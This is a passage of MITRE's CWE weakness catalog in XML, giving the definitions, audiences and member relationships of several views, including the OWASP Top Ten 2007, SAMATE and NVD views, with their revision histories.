<?xml version="1.0" encoding="UTF-8"?>
            <Weakness_Catalog xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Catalog_Name="VIEW LIST: CWE-2000: Comprehensive CWE Dictionary" Catalog_Version="2.3" Catalog_Date="2012-10-30" xsi:noNamespaceSchemaLocation="http://cwe.mitre.org/data/xsd/cwe_schema_v5.2.xsd"><Views>
                    <View ID="1000" Name="Research Concepts" Status="Draft">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>This view is intended to facilitate research into weaknesses, including their
					inter-dependencies and their role in vulnerabilities. It classifies weaknesses
					in a way that largely ignores how they can be detected, where they appear in
					code, and when they are introduced in the software development life-cycle.
					Instead, it is mainly organized according to abstractions of software behaviors.
					It uses a deep hierarchical organization, with more levels of abstraction than
					other classification schemes. The top-level entries are called Pillars.</Text>
				        <Text>Where possible, this view uses abstractions that do not consider particular
					languages, frameworks, technologies, life-cycle development phases, frequency of
					occurrence, or types of resources. It explicitly identifies relationships that
					form chains and composites, which have not been a formal part of past
					classification efforts. Chains and composites might help explain why mutual
					exclusivity is difficult to achieve within security error taxonomies.</Text>
				        <Text>This view is roughly aligned with MITRE's research into vulnerability theory,
					especially with respect to behaviors and resources. Ideally, this view will only
					cover weakness-to-weakness relationships, with minimal overlap and very few
					categories. This view could be useful for academic research, CWE maintenance,
					and mapping. It can be leveraged to systematically identify theoretical gaps
					within CWE and, by extension, the general security community.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Academic_Researchers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view provides an organizational structure for weaknesses that is
							different than the approaches undertaken by taxonomies such as Seven
							Pernicious Kingdoms.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Applied_Researchers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Applied researchers could use the higher-level classes and bases to
							identify potential areas for future research.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Developers who have fully integrated security into their SDLC might
							find this view useful in identifying general patterns of issues within
							code, instead of relying heavily on "badness lists" that only cover the
							most severe issues.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>118</Relationship_Target_ID>
					          <!--Improper Access of Indexable Resource ('Range Error')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>435</Relationship_Target_ID>
					          <!--Interaction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, Relationships, View_Audience,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Natural
						Hierarchy</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="2000" Name="Comprehensive CWE Dictionary" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view (slice) covers all the elements in CWE.</Text>
			      </View_Objective>
			      <View_Filter>true()</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="604" Name="Deprecated Entries" Status="Draft">
			      <View_Structure>Implicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (slice) have been deprecated. There should be a
					reference pointing to the replacement in each deprecated weakness.</Text>
			      </View_Objective>
			      <View_Filter>.//@Status='Deprecated'</View_Filter>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-08-28</Modification_Date>
					          <Modification_Comment>changed explicit member list to implicit
						filter</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships, View_Filter,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Deprecated</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="629" Name="Weaknesses in OWASP Top Ten (2007)" Status="Draft">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as
					released in 2007.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten (2007 version), providing a good starting point for web
							application developers who want to code more securely.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten (2007 version), providing customers with a way of asking
							their software developers to follow minimum expectations for secure
							code.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Since the OWASP Top Ten covers the most frequently encountered issues,
							this view can be used by educators as training material for
							students.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>712</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>714</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>715</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>716</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>717</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>718</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>719</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>720</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A9 - Insecure Communications-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>721</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationships in this view are a direct extraction of the CWE mappings
						that are in the 2007 OWASP document. CWE has changed since the release of
						that document.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>Top 10 2007</Reference_Title>
					          <Reference_Publisher>OWASP</Reference_Publisher>
					          <Reference_Date>2007-05-18</Reference_Date>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, Relationships, References,
						Relationship_Notes, View_Audience, View_Structure</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Weaknesses in OWASP Top
						Ten</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </View>
                    <View ID="630" Name="Weaknesses Examined by SAMATE" Status="Draft">
			      <View_Structure>Explicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (slice) are being focused on by SAMATE.</Text>
			      </View_Objective>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>251</Relationship_Target_ID>
					          <!--Often Misused: String Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>121</Relationship_Target_ID>
					          <!--Stack-based Buffer Overflow-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>122</Relationship_Target_ID>
					          <!--Heap-based Buffer Overflow-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>134</Relationship_Target_ID>
					          <!--Uncontrolled Format String-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>170</Relationship_Target_ID>
					          <!--Improper Null Termination-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>244</Relationship_Target_ID>
					          <!--Improper Clearing of Heap Memory Before Release ('Heap Inspection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>259</Relationship_Target_ID>
					          <!--Use of Hard-coded Password-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>367</Relationship_Target_ID>
					          <!--Time-of-check Time-of-use (TOCTOU) Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>391</Relationship_Target_ID>
					          <!--Unchecked Error Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>401</Relationship_Target_ID>
					          <!--Improper Release of Memory Before Removing Last Reference ('Memory Leak')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>412</Relationship_Target_ID>
					          <!--Unrestricted Externally Accessible Lock-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>415</Relationship_Target_ID>
					          <!--Double Free-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>416</Relationship_Target_ID>
					          <!--Use After Free-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>457</Relationship_Target_ID>
					          <!--Use of Uninitialized Variable-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>468</Relationship_Target_ID>
					          <!--Incorrect Pointer Scaling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>476</Relationship_Target_ID>
					          <!--NULL Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>489</Relationship_Target_ID>
					          <!--Leftover Debug Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>78</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>80</Relationship_Target_ID>
					          <!--Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>89</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">630</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>99</Relationship_Target_ID>
					          <!--Improper Control of Resource Identifiers ('Resource Injection')-->
				</Relationship>
			      </Relationships>
			      <References>
				        <Reference>
					          <Reference_Link>http://samate.nist.gov/index.php/Source_Code_Security_Analysis.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, References,
						View_Structure</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="631" Name="Resource-specific Weaknesses" Status="Draft">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (graph) occur when the application handles particular
					system resources.</Text>
			      </View_Objective>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						View_Structure</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </View>
                    <View ID="635" Name="Weaknesses Used by NVD" Status="Draft">
			      <View_Structure>Explicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (slice) are used by NIST to categorize vulnerabilities
					within NVD.</Text>
			      </View_Objective>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>16</Relationship_Target_ID>
					          <!--Configuration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>264</Relationship_Target_ID>
					          <!--Permissions, Privileges, and Access Controls-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>134</Relationship_Target_ID>
					          <!--Uncontrolled Format String-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">635</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
